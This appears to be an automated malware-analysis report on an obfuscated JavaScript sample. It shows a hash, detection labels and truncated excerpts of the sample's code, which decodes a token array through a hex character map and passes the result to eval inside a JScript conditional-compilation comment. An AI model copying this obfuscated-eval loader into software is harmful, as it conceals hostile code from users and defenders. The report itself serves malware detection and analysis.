Suspicious ^80% javascript-malware-collection Download

20160921_63a82ecb2e4eb3b0dd878bbec885c469.js

obfuscated eval execution

Token-array remap reconstructionRepeated anonymous return token stubs

SHA-2560e9de62be8773f33e42da56c84c9c85d07f7c2616909543479f7803e6794a9ef

Evidence

Repeated anonymous return token stubs lines 1–5

1
2/*@cc_on
3
4var JXq = "";
5var Ny = [(function fuck(){return "MUs";})(),(function fuck(){return "EHo";})(),(function fuck(){return "UXf";})(),(function fuck(){return "FJs";})(),(function fuck(){return "Fv";})(),(function fuck(){return "Dc";})(),(function fuck(){return "Mw";})(),(function fuck(){return "UXf";})(),(function fuck(){return "IPu";})(),(function fuck(){return "Xg";})(),(function fuck(){return "OQr";})(),(function fuck(){return "MOj";})(),(function fuck(){return "Tv";})(),(function fuck(){return "Bz";})(),(function fuck(){return "IPu";})(),(function fuck(){return "IPu";})(),(function fuck(){return "IPu";})(),(function fuck(){return "IPu";})(),(funct …

Short-token to hex-char map lines 5–9

5:577382… })(),(function fuck(){return "Bz";})()];
6var Zh;
7for (Zh = 0; Zh < Ny.length; Zh++)
8{
9var NOc = {'Jg': '\x79', 'Na': '\x78', 'EHo': '\x75', 'Fv': '\x74', 'Jh': '\x77', 'Wo0': '\x71', 'IOs': '\x70', 'Ar': '\x73', 'Za': '\x72', 'Bz': '\x0a', 'GNm': '\x0d', 'CTm': '\x09', 'ILp': '\x7d', 'Cd': '\x7a', 'Cs': '\x7c', 'Tv': '\x7b', 'DHd': '\x2f', 'IKv': '\x2d', 'Pc': '\x2e', 'DRx': '\x2b', 'OPz': '\x2c', ' …

Token remap loop into eval buffer lines 9–15

9:1277… '\x5d', 'Wn': '\x5c', 'TTs': '\x5b', 'Et': '\x5a'};
10    Hg = Ny[Zh];
11    var HUh = NOc[Hg];
12    JXq = JXq + HUh;
13}
14eval(JXq);
15@*/